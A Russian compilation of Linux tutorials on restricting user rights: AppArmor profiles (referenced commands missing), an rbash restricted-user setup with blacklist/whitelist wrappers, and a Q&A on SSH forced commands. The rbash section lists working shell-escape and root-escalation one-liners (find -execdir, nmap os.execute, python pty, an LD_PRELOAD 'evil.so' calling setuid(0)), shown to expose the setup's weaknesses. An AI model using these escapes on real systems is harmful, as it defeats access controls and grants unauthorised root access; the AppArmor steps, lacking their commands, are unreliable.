Ограничение прав доступа пользователя Linux
Linux позволяет осуществлять контроль над системными ресурсами. Одним из способов осуществления такого контроля является ограничение прав пользователя. По умолчанию в системах Linux настроена многопользовательская среда, которая позволяет нескольким пользователям одновременно входить в систему и выполнять задачи.
Однако не всем пользователям требуется доступ ко всем системным ресурсам. Чтобы решить эти проблемы, администраторы могут использовать различные методы ограничения пользовательских разрешений таким образом, чтобы каждый имел только необходимый уровень доступа для выполнения своих задач.
Программное обеспечение
Ограничение прав пользователей включает в себя настройку параметров безопасности различных конфигурационных файлов: пользователей, групп пользователей или процессов. Это можно сделать с помощью встроенных системных разрешений, групп пользователей или таких инструментов, как AppArmor. Системное разрешение предоставляет доступ к определенным субъектам информационных систем.
Такие возможности, как запись, чтение и выполнение доступа к объекту файловой системы. AppArmor и другое программное обеспечение могут быть модулями безопасности, которые предоставляют услуги безопасности через подмножество системы MAC concept и configuration process.
Установка и использование
Перед использованием основной утилиты обновите свою систему :
Установите необходимый пакет для создания профиля и файла журнала:
И проверьте наличие пакета в утилитах:
Процесс будет структурирован следующим образом: мы создаем профиль для пользователей, которые начинают сканировать свои действия и перемещения, запускаем необходимую для пользователя программу, которая влияет на их процесс. Теперь мы можем собрать все файлы журнала и установить для него разрешение. Сначала создайте профиль пользователя, которого вам нужно ограничить:
Мы можем увидеть шаблон синтаксиса программы и заполнить пробелы, следуя этому примеру:
Вы можете использовать любой параметр на экране ниже, но мы используем настройку по умолчанию. Теперь, как вы можете видеть из инструкции, мы должны создать новое окно в нашем удаленном программном приложении:
Запустите все программы, которые вам нужно использовать, и подождите, теперь они полностью запускаются, требуя записи процесса в журнал регистрации:
Перейдите к предыдущему окну и остановите процесс, нажав букву F на клавиатуре. Перейдите к файлам журнала и проверьте, правильно ли запускается процесс ядра AppArmor:
После того, как мы убедимся, что все процессы запускаются правильно, нам нужно обновить файл журнала в AppArmour:
Запустите профиль в принудительном режиме, который может включить систему ограничений MAC:
Вывод
Ограничение прав позволяет администраторам гарантировать, что пользователи имеют доступ только к необходимым ресурсам, и снижает риск нарушений безопасности. AppArmor — это инструмент, который может помочь администраторам ограничить права пользователей, определив конкретные профили для пользователей и связанных с ними процессов.
Следуя шагам, описанным в этой статье, администраторы могут создавать профили AppArmor и файлы журналов, анализировать их и вводить ограничения на разрешения пользователей. В конечном счете, внедрение этих методов приведет к созданию более безопасной и эффективной системы Linux. В следующей серии инструкций рассмотрим шаблоны и гибкую настройку!
Ограничение прав локального пользователя в Linux до минимума
Как то раз появилась следующая задача: создать локального пользователя в ОС Linux, с ограниченным доступом к папкам и файлам, включая не только редактирование, но и просмотр, а также возможность использовать только разрешенные утилиты. Предусматривается только локальный доступ, сетевого доступа нет.
Что бы не изобретать велосипед, первым делом начал копать интернет, в результате чего были найдены следующие варианты:
- ограничения доступа через сетевые службы ssh, sftp (не подошло)
- разграничение прав доступа самой операционной системой linux (не подошло, хотелось бы универсальное решение)
- использование chroot (не подошло)
- использование сторонних утилит, например SELinux (не подошло, усложняет систему).
- нет возможности смены каталога командой cd
- нельзя сбрасывать или изменять значения переменных SHELL, PATH, ENV, BASH_ENV
- запрещено указывать команды содержащие / (косую черту)
- запрещено импортировать функции из основной оболочки
- запрещено перенаправлять вывод с использованием операторов >, , >&, &>, >>
- запрещено использовать команду exec для подмены команды и пр.
Конечно rbash из коробки, всех задач не решает, поэтому на примере рассмотрим создание пользователя и настройка его окружения для полного решения нашей задачи.
Далее все операции выполняются от суперпользователя (root).
1. Создаем ограниченную оболочку
echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash
adduser --home /home/zuser --shell /bin/zbash zuser
3. Изменяем права директории
chown root.zuser /home/zuser chmod 750 /home/zuser
4. Переходим в директорию и очищаем ее
cd ~zuser ls -a rm .bash* rm .profile ls -a
5. Настраиваем оболочку и права
echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc # alias на команду help echo "bind 'set disable-completion on'" >> .bashrc # Отключает автодополнение на tab mkdir -p bin chmod 750 bin chown -R root.zuser /home/zuser chmod 640 .bash*
Файл .bashrc определяет поведение командной оболочки, в данный файл можно добавить alias для команд или дополнительные опции.
Для обеспечения безопасности выполните следующие команды:
echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc
Данный список можно продолжать…
root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls: команда не найдена zuser@host: /bin/ls bash: /bin/ls: ограниченный режим в команде нельзя использовать косую черту >zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH: переменная только для чтения zuser@host: exit
7. Добавляем допустимые команды
ln -s /bin/ping /home/zuser/bin/ping
Важно, пути в команде ln необходимо указывать полностью.
8. Для ограничения опций команды можно использовать обертки
mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info
9. Для работы с файлами и папками можно также создать обертку
с черным списком (разрешить все, кроме):
— создаем файл
blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $*
blacklist — переменная содержащая черный список директорий или файлов (через пробел)
— добавляем команду для пользователя zuser
chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls
Данный скрипт разрешает выполнять команду ls с любыми ключами для каталогов и файлов не совпадающих с черным списком
с белым списком (запретить все, кроме):
— создаем файл
whitelist="./ /tmp/" # белый список for var in $whitelist do if [[ $* == *$var* ]]; then /bin/cat $* # запуск утилиты cat с заданными параметрами exit fi done echo 'Access is denied:' $*
whitelist — переменная содержащая белый список директорий или файлов (через пробел)
— добавляем команду для пользователя zuser
chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat
Данный скрипт разрешает выполнять команду cat с указанными файлами в белом списке
Готово, в итоге получили следующий результат:
- мы создали пользователя zuser с оболочкой rbash
- отключили возможность использования автодополнения в консоли
- zuser может запускать утилиты только из директории /home/zuser/bin
- добавили пользователю zuser команду ping
- добавили пользователю zuser собственную команду user-info
- пользователю zuser ограничили через обертку выполнение команд ls и cat
Данный способ к сожалению не гарантирует 100% безопасность, и при определенных знаниях и квалификации пользователь может покинуть данную оболочку. Спасибо Jouretz arheops YaDr они в комментариях привели примеры обхода ограничений оболочки.
ssh zuser@x.x.x.x -t "bash --noprofile"
ssh zuser@x.x.x.x -t "() < :; >; /bin/bash"
find . -maxdepth 0 -execdir /bin/bash \;
echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse
python -c 'import pty; pty.spawn("/bin/bash")'
#include #include #include #include void _init() < unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); >
gcc -fPIC -shared -o evil.so evil.c -nostartfiles
Надеюсь данная информация будет полезной.
Ограничение доступа для пользователя
Дистрибутив Debian GNU/Linux. Как ограничить пользователю доступ ко всему, кроме выполнения одного файла? Ну, и соответственно, этот пользователь должен мочь проверить, запущен ли этот файл, и если нет, то запустить.
Что бы пользователь мог проверить запущено ли что то ему как минимум нужен доступ к команде ps. что бы он вообще находился в системе ему нужен доступ к шеллу. А что бы это все работало — нужен доступ еще к куче библиотек. так что сначала надо опредлиться с тем к чему именно надо ограничить доступ.
Есть один файл. Пользователь должен мочь проверять только запущен ли этот файл, запускать этот файл и закрывать его.
так, может, просто микро-интерфейс (на основе http или ssh или telnet или т.п.) на коленке написать, который будет принимать три команды («запустить», «убить», «проверить, работает ли»)?
и обязательно уточните, каким образом пользователь должен иметь возможность общаться с системой: это должен быть интерктивный вход или удалённое подключение по какому-нибудь протоколу (и по какому именно).
3 ответа 3
«искоробочного» средства, насколько мне известно, нет.
если используется аутентификация по ключу, то можно в файле ~/.authorized_keys перед ключом пользователя добавить параметр command=/путь/к/вашему/скрипту (подробности смотрите в man sshd, секция «authorized_keys file format»).
а в /путь/к/вашему/скрипту (файл должен иметь бит исполнимости, разумеется) написать обработчик примерно такого вида:
#!/bin/sh case "$SSH_ORIGINAL_COMMAND" in start) # здесь код запуска того, что вам нужно ;; stop) # здесь код остановки того, что вам нужно ;; status) # здесь код, проверяющий статус того, что вам нужно, # и выводящий информацию в stdout. эту информацию увидит пользователь ;; *) # неизвестная команда. возвращаем пользователю сообщение об ошибке echo "unknown command" ;; esac
когда пользователь выполнит команду ssh имя@хост start , то будет выполнен этот ваш скрипт, а строка start будет передана скрипту в переменной окружения SSH_ORIGINAL_COMMAND .
строки start / stop / status использованы лишь для иллюстрации. вы можете использовать что угодно иное.